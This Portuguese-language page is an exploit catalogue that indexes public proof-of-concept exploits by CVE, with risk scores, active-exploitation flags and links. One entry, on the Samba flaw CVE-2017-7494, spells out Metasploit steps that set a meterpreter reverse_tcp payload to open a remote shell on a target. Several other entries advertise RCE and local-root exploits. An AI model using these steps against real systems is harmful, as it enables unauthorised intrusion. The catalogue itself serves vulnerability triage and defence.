Exploração pública

Catálogo de exploits

Todo exploit público que catalogamos, num índice só. Busque por CVE, nome do exploit ou tecnologia — e veja, ao lado, o que a falha realmente vale: severidade, probabilidade de exploração e se já está sob ataque.

88.871exploits catalogados

40.961CVEs com exploração pública

24.696testados em laboratório

Todos Referência 26.571Exploit-DB 24.489GitHub PoC 18.446VulnCheck XDB 11.241Nuclei 4.584Metasploit 3.540✓ só verificadosrecentes populares risco

88.871 exploits

GitHub PoC

CVE-2026-56121 — Feast <0.63.0 unauthenticated RCE via gRPC registry dill.loads of OnDemandFeatureView UDF (pre-auth). Lab + PoC, verified e2e.

CVE-2026-56121CRITICAL30 jun 2026

Feast < 0.63.0 Unauthenticated RCE via ApplyFeatureView gRPC Deserialization

48RISCO

abrir ↗

VulnCheck XDB

initial-access

CVE-2026-48907CRITICALsob ataque30 jun 2026

Joomla Extension - joomlacontenteditor.net - Remote Code Execution in JCE extension for Joomla < 2.9.99.5

100RISCO

abrir ↗

GitHub PoC

CVE-2026-58138 — Conductor (3.21.21..<3.30.2) unauthenticated RCE via INLINE GraalVM evaluator (HostAccess.ALL). Lab + PoC, verified e2e (root).

CVE-2026-58138CRITICAL30 jun 2026

Orkes Conductor 3.21.21 < 3.30.2 Unauthenticated RCE via GraalVM Script Evaluators

63RISCO

abrir ↗

GitHub PoC

rootdirective-sec/CVE-2026-55255-Lab

CVE-2026-55255HIGHsob ataque30 jun 2026

Langflow: IDOR Vulnerability in `/api/v1/responses` Endpoint Allows Authenticated Attackers to Access Another User's Flow

71RISCO

abrir ↗

GitHub PoC

Chequeo y Fix de la vulnerabilidad "pedit COW"

CVE-2026-46331HIGH30 jun 2026

net/sched: fix pedit partial COW leading to page cache corruption

41RISCO

abrir ↗

GitHub PoC★ 1

CVE-2025-45422: Proximus b-box UPnP Persistence & Access Control Bypass

CVE-2025-45422HIGH30 jun 2026

Incorrect access control in Proximus b-box v8c.725A allows authenticated attackers to bypass normal restrictions and mak

41RISCO

abrir ↗

GitHub PoC★ 16

Linux kernel FUSE readdir cache out-of-bounds write (CVE-2026-31694): a malicious FUSE server overflows a page-cache page by 24 bytes. PoC plus an unprivileged local-root exploit via /etc/passwd page-cache corruption. Run only inside a VM.

CVE-2026-31694HIGH30 jun 2026

fuse: reject oversized dirents in page cache

41RISCO

abrir ↗

VulnCheck XDB

info-leak

CVE-2026-8451HIGH30 jun 2026

Insufficient input validation leading to memory overread

46RISCO

abrir ↗

GitHub PoC

Ovaj sto se skida isto ovaj s metasplotiom kucas msf console pa onda search CVE-2017-7494 pa use exploit/linux/samba/is_known_pipeline pa show options pa set RHOSTS (ip servera) set RPORt 445 (port za tu ranjivist) SET payload linux/x86/meterpreter/reverse_tcp SET LHOST ip kalija SET LORT 4444 pa exploit i ako je ranjiv dobijemo sesiju

CVE-2017-7494CRITICALsob ataqueransomware30 jun 2026

Samba since version 3.5.0 and before 4.6.4, 4.5.10 and 4.4.14 is vulnerable to remote code execution vulnerability, allo

100RISCO

abrir ↗

GitHub PoC★ 12

app that ports CVE-2019-2215 to arm32 and mounts a su binary to /sbin with denylist + root app installer. firehose/Magisk guide included

CVE-2019-2215HIGHsob ataque30 jun 2026

A use-after-free in binder.c allows an elevation of privilege from an application to the Linux Kernel. No user interacti

100RISCO

abrir ↗

GitHub PoC

CVE-2026-46817 - Draft

CVE-2026-46817CRITICALsob ataque30 jun 2026

Vulnerability in the Oracle Payments product of Oracle E-Business Suite (component: File Transmission). Supported versi

83RISCO

abrir ↗

Metasploit600

Langflow AI Code Validation Authenticated RCE

CVE-2026-7873CRITICAL30 jun 2026

Code Injection Vulnerability in Code Validation Endpoint

63RISCO

abrir ↗

GitHub PoC

cve-2026-48907 scanner

CVE-2026-48907CRITICALsob ataque29 jun 2026

Joomla Extension - joomlacontenteditor.net - Remote Code Execution in JCE extension for Joomla < 2.9.99.5

100RISCO

abrir ↗

GitHub PoC

rufflabs/ludus_crushftp_cve-2025-31161_sim

CVE-2025-31161CRITICALsob ataqueransomware29 jun 2026

CrushFTP 10 before 10.8.4 and 11 before 11.3.1 allows authentication bypass and takeover of the crushadmin account (unle

100RISCO

abrir ↗

GitHub PoC

rufflabs/ludus_crushftp_cve-2025-31161

CVE-2025-31161CRITICALsob ataqueransomware29 jun 2026

CrushFTP 10 before 10.8.4 and 11 before 11.3.1 allows authentication bypass and takeover of the crushadmin account (unle

100RISCO

abrir ↗

GitHub PoC

DirtyClone - local privilege escalation (LPE) proof-of-concept targeting a kernel/XFRM-related vulnerability described in the source as CVE-2026-43503

CVE-2026-43503HIGH29 jun 2026

net: skbuff: propagate shared-frag marker through frag-transfer helpers

56RISCO

abrir ↗

GitHub PoC

CVE-2026-53753 — Crawl4AI <0.8.7 unauthenticated RCE (AST sandbox escape via gi_frame.f_back). Lab + PoC, verified e2e.

CVE-2026-53753CRITICAL29 jun 2026

Crawl4AI: AST Sandbox Escape via gi_frame.f_back Chain - Pre-Auth RCE in Docker API

63RISCO

abrir ↗

VulnCheck XDB

initial-access

CVE-2026-9082CRITICALsob ataque29 jun 2026

Drupal core - Highly critical - SQL injection - SA-CORE-2026-004

100RISCO

abrir ↗

VulnCheck XDB

initial-access

CVE-2026-48907CRITICALsob ataque29 jun 2026

Joomla Extension - joomlacontenteditor.net - Remote Code Execution in JCE extension for Joomla < 2.9.99.5

100RISCO

abrir ↗

VulnCheck XDB

initial-access

CVE-2026-48907CRITICALsob ataque29 jun 2026

Joomla Extension - joomlacontenteditor.net - Remote Code Execution in JCE extension for Joomla < 2.9.99.5

100RISCO

abrir ↗

VulnCheck XDB

initial-access

CVE-2026-48907CRITICALsob ataque29 jun 2026

Joomla Extension - joomlacontenteditor.net - Remote Code Execution in JCE extension for Joomla < 2.9.99.5

100RISCO

abrir ↗

GitHub PoC★ 25

Python Proof of Concept for DirtyClone (CVE-2026-43503) - Linux kernel LPE via page-cache corruption

CVE-2026-43503HIGH29 jun 2026

net: skbuff: propagate shared-frag marker through frag-transfer helpers

56RISCO

abrir ↗

VulnCheck XDB

local

CVE-2023-4911HIGHsob ataque29 jun 2026

Glibc: buffer overflow in ld.so leading to privilege escalation

98RISCO

abrir ↗

GitHub PoC★ 1

CVE-2026-46817

CVE-2026-46817CRITICALsob ataque29 jun 2026

Vulnerability in the Oracle Payments product of Oracle E-Business Suite (component: File Transmission). Supported versi

83RISCO

abrir ↗

GitHub PoC★ 1

rootdirective-sec/CVE-2026-28496-Lab

CVE-2026-28496CRITICAL29 jun 2026

FOSSBilling: Server-side template injection in Twig template rendering enables information disclosure and RCE

63RISCO

abrir ↗

GitHub PoC

drupal-postgresql-rce

CVE-2026-9082CRITICALsob ataque29 jun 2026

Drupal core - Highly critical - SQL injection - SA-CORE-2026-004

100RISCO

abrir ↗

GitHub PoC★ 1

React2Shell (CVE-2025-55182) PoC

CVE-2025-55182CRITICALsob ataqueransomware29 jun 2026

A pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1

100RISCO

abrir ↗

GitHub PoC★ 1

iCagenda Unauthenticated File Upload to RCE

CVE-2026-48939CRITICALsob ataque29 jun 2026

Joomla Extension - icagenda.com - Remote Code Execution in iCaganda extension for Joomla < 4.0.8/3.9.15

98RISCO

abrir ↗

GitHub PoC

Goal is to triage well known attacks and learn how security teams quickly respond.

CVE-2017-0144HIGHsob ataqueransomware29 jun 2026

The SMBv1 server in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows

100RISCO

abrir ↗

VulnCheck XDB

initial-access

CVE-2026-28496CRITICAL29 jun 2026

FOSSBilling: Server-side template injection in Twig template rendering enables information disclosure and RCE

63RISCO

abrir ↗

Indexamos apenas o link público para a prova de conceito — nunca hospedamos nem redistribuímos código de exploração. Fontes: PoC-in-GitHub, Exploit-DB, Nuclei, Metasploit e VulnCheck XDB. A existência de PoC pública não significa que a falha seja explorável no seu ambiente.